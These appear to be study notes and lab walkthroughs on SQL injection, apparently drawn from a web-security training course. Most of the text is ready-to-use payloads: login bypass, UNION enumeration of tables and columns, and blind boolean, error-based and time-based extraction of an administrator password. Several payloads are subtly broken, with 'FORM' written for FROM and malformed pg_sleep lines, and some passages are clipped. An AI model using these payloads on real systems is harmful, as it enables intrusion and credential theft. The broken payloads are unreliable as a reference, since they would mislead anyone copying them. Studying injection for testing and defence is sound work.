SQL injection (SQLi)

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

- Allow an attacker to view data that they are not normally able to retrieve.
- Access data that belongs to other users, or any other data that the application can access
- Can modify or delete this data, causing persistent changes to the application's content or behavior.

Detecting SQL injection vulnerabilities :

- single quote character `'` and look for errors or other anomalies.
- SQL-specific syntax that evaluates to the base.
- Boolean conditions such as `OR 1=1` and `OR 1=2`, and look for differences in the application's response
- Payloads designed to trigger time delays when executed within a SQL query.
- OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query.

SQL injection in different parts of the query

- In `UPDATE` statements, within the updated values or the `WHERE` clause.
- In `INSERT` statements, within the inserted values.
- In `SELECT` statements, within the table or column name.
- In `SELECT` statements, within the `ORDER BY` clause.

Retrieving hidden data

```
Example: https://insecure-website.com/products?category=Gifts
```

This causes the application to make a SQL query to retrieve details of the relevant products from the database:

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

SQL query asks the database to return:

- all details (`*`)
- from the `products` table
- where the `category` is `Gifts`
- and `released` is `1`.

This means an attacker can construct the following attack, for example:

```
https://insecure-website.com/products?category=Gifts'--
```

This results in the SQL query:

```
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```

Note that `--` is a comment indicator in SQL.

Attack:

```
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```

This results in the SQL query:

```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

Warning :

Take care when injecting the condition `OR 1=1` into a SQL query. Even if it appears to be harmless in the context you're injecting into, it's common for applications to use data from a single request in multiple different queries. If your condition reaches an `UPDATE` or `DELETE` statement, for example, it can result in an accidental loss of data.

Subverting application logic

SQL query:

```
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```

an attacker can log in as any user without the need for a password. They can do this using the SQL comment sequence `--` to remove the password check from the `WHERE` clause

```
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

This query returns the user whose `username` is `administrator` and successfully logs the attacker in as that user.

SQL injection UNION attacks

Use the `UNION` keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack.

The `UNION` keyword enables you to execute one or more additional `SELECT` queries and append the results to the original query.

For example:

```
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
```

For a `UNION` query to work, two key requirements must be met:

- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.

To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements.

Determining the number of columns required

One method involves injecting a series of `ORDER BY` clauses and incrementing the specified column index until an error occurs.

```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```

The second method involves submitting a series of `UNION SELECT` payloads specifying a different number of null values:

```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

If the number of nulls does not match the number of columns, the database returns an error,

Database-specific syntax

Oracle:

```
' UNION SELECT NULL FROM DUAL--
```

MySQL:

```
' UNION SELECT NULL#
```

Finding columns with a useful data type

A SQL injection UNION attack enables you to retrieve the results from an injected query.

After you determine the number of required columns, you can probe each column to test whether it can hold string data.You can submit a series of `UNION SELECT` payloads that place a string value into each column in turn.

```
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```

Using a SQL injection UNION attack to retrieve interesting data

The original query returns two columns, both of which can hold string data,The database contains a table called `users` with the columns `username` and `password`

```
' UNION SELECT username, password FROM users--
```

In order to perform this attack, you need to know that there is a table called `users` with two columns called `username` and `password`.

Examining the database in SQL injection attacks

To exploit SQL injection vulnerabilities, it's often necessary to find information about the database:

- The type and version of the database software.

- The tables and columns that the database contains

Querying the database type and version

You can potentially identify both the database type and version by injecting provider-specific queries

Database type	Query
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

you could use a `UNION` attack with the following input:

```
' UNION SELECT @@version--
```

Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

you can query `information_schema.tables` to list the tables in the database:

```
SELECT * FROM information_schema.tables
```

This returns output like the following:

```
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE
```

This output indicates that there are three tables, called `Products`, `Users`, and `Feedback`.

You can then query `information_schema.columns` to list the columns in individual tables

```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

This returns output like the following

```
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
================================================================
MyDatabase     dbo           Users       UserId       int
```

```
MyDatabase    dbo          Users       Username    varchar
```

Lab: SQL injection attack, listing the database contents on non-Oracle databases

Using SQLi ,find out the number and name of tables using information_schema.tables , then using this knowledge access the column name of a particular table that has users_login-data ,column data can be extracted using ,information_schema.columns which will give the names of the columns.

Then access the table column using column names and table names,

Solutions:-

```
' UNION SELECT NULL,NULL--
' UNION SELECT TABLE_NAME,NULL FROM information_schema.tables--
' UNION SELECT COLUMN_NAME,NULL FROM information_schema.columns WHERE TABLE_NAME='user_
xxx'--
' UNION SELECT username,password FROM user_xxx WHERE username = 'administrator'
```

What is blind SQL injection?

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

`UNION` attacks are not effective with blind SQL injection vulnerabilities.

Requests to the application include a cookie header like this:

```
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
```

When a request containing a `TrackingId` cookie is processed, the application uses a SQL query to determine whether this is a known user:

```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```

suppose that two requests are sent containing the following `TrackingId` cookie values in turn:

```
…xyz' AND '1'='1
…xyz' AND '1'='2
```

- The first of these values causes the query to return results, because the injected `AND '1'='1` condition is true. As a result, the "Welcome back" message is displayed.

- The second value causes the query to not return any results, because the injected condition is false. The "Welcome back" message is not displayed.

suppose there is a table called `Users` with the columns `Username` and `Password`, and a user called `Administrator`

You can determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, start with the following input

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1)
> 'm
```

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than `m`.

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1)
> 't
```

character of the password is not greater than `t`.

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1)
= 's
```

We can continue this process to systematically determine the full password for the `Administrator` user

Lab: Blind SQL injection with conditional responses

Modify the `TrackingId` cookie, changing it to:

```
TrackingId=xyz' AND '1'='1
```

Verify that the "Welcome back" message appears in the response.

Now change it to:

```
TrackingId=xyz' AND '1'='2
```

Verify that the "Welcome back" message does not appear in the response

Now change it to:

```
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
```

Verify that the condition is true, confirming that there is a table called `users`.

Now change it to:

```
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
```

Verify that the condition is true, confirming that there is a user called `administrator`.

The next step is to determine how many characters are in the password of the `administrator` user

```
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(pa
ssword)=1)='a
```

Confirming that the password is greater than 1 character in length.Using Intruder on the password Length to check for the length.

```
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administ
rator')='a
```

After determining the length of the password, the next step is to test the character at each position to determine its value,Send the request you are working on to Burp Intruder

Error-based SQL injection

Error-based SQL injection refers to cases where you're able to use error messages to either extract or infer sensitive data from the database, even in blind contexts.

You may be able to induce the application to return a specific error response based on the result of a boolean expression.

It's often possible to induce the application to return a different response depending on whether a SQL error occurs. You can modify the query so that it causes a database error only if the condition is true.

Exploiting blind SQL injection by triggering conditional errors

To see how this works, suppose that two requests are sent containing the following `TrackingId` cookie

```
xyz' AND (SELECT CASE
                    WHEN (1=2) THEN 1/0
                    ELSE 'a'
                END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

- With the first input, the `CASE` expression evaluates to `'a'`, which does not cause any error
- With the second input, it evaluates to `1/0`, which causes a divide-by-zero error

Using this technique, you can retrieve data by testing one character at a time:

```
xyz' AND
(SELECT CASE
            WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN
1/0
            ELSE 'a'
        END
FROM Users)='a
```

Lab: Blind SQL injection with conditional errors

Modify the `TrackingId` cookie, appending a single quotation mark to it

```
TrackingId=xyz'
```

Verify that an error message is received.

Change it to two quotation marks:

```
TrackingId=xyz''
```

Verify that the error disappears.

```
TrackingId = xyz' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual
) = 'a' --
```

CASE is the 'IF' , if the Condition is True Then the THEN PART will continue Other wise ELSE part will be continued .

DUAL is a Inbuilt Oracle Table in every Oracle Database.

```
TrackingId = xyz' AND (SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE 'a' E
ND FROM users WHERE username='administrator' ) = 'a' --
```

Checks if the Length of the administrator Password is Greater than 1 if so the ERROR 500 will occcur other wise 200 will be present.

```
 TrackingId = xyz' AND (SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELS
E 'a' END FROM users WHERE username='administrator' ) = 'a' --
```

Checks if the first character of the password is 'a' , we will be using intruder to change the value of character to find the first letter and so one the other letter.

Extracting sensitive data via verbose SQL error messages

You can use the `CAST()` function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement:

```
CAST((SELECT example_column FROM example_table) AS int)
```

he data that you're trying to read is a string. Attempting to convert this to an incompatible data type, such as an `int`, may cause an error

Lab: Visible error-based SQL injection

The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account.

```
TrackingId=laksowlsox2ks'
```

Adding a ' at the end causes an syntax error within the website.

```
TrackingId=laksowlsox2ks'--
```

Adding a Combination of '-- doesn't cause any error.

```
TrackingId=laksowlsox2ks' AND CAST((SELECT 1) AS int) --
```

Using a CAST() Based Boolen Operator to Check for Password using Condition.

The Above Conditions Gives an error due to Boolean Syntax not Complete.

```
TrackingId=laksowlsox2ks' AND 1=CAST((SELECT 1) AS int) --
```

Now as the Boolean Condition is True the Site Loads Perfectly

```
TrackingId=laksowlsox2ks' AND 1=CAST((SELECT username FORM users ) AS int) --
```

Since the line of code is to long it gives an syntax error, therefore we tend to remove the trackingId

```
TrackingId=' AND 1=CAST((SELECT username FORM users ) AS int) --
```

Since there are more than one username in the users database,it gives an syntax error of more then one username.

```
TrackingId=' AND 1=CAST((SELECT username FORM users LIMIT 1 ) AS int) --
```

Since the username is a string variable and not a Int , it cause it to print the error that 'administrator' is not a int variable .

```
 TrackingId=' AND 1=CAST((SELECT password FORM users LIMIT 1 ) AS int) --
```

Using the same principle to can print the password of 'administrator', since the password it not a int variable.

Exploiting blind SQL injection by triggering time delays

If the application catches database errors when the SQL query is executed and handles them gracefully, there won't be any difference in the application's response. This means the previous technique for inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false. As SQL queries are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response. This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response

The techniques for triggering a time delay are specific to the type of database being used. For example, on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

Using this technique, we can retrieve data by testing one character at a time:

```
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING
(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
```

Lab: Blind SQL injection with time delays and information retrieval

The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the

password of the `administrator` user.

Modify the `TrackingId` cookie, changing it to:

```
TrackingId=x'SELECT CASE WHEN(1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
```

Verify that the application takes 10 seconds to respond.

```
TrackingId=x'SELECT CASE WHEN(username ="administrator") THEN pg_sleep(10) ELSE pg_slee
p(0) END--
```

Verify that the condition is true, confirming that there is a user called `administrator`.

```
TrackingId=x'SELECT CASE WHEN(username ="administrator" AND LENGTH(password)=$1$) THEN
pg_sleep(10) ELSE pg_sleep(0) END--
```

```
TrackingId=x'SELECT CASE WHEN(username ="administrator" AND SUBSTRING(password,$1$,1)
='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END--
```

so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.

SQL injection in different contexts

some websites take input in JSON or XML format and use this to query the database.

SQL injection keywords within the request, so you may be able to bypass these filters by encoding or escaping characters in the prohibited keywords

the following XML-based SQL injection uses an XML escape sequence to encode the `S` character in `SELECT`:

```
<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
```

Second-order SQL injection

First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a

database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.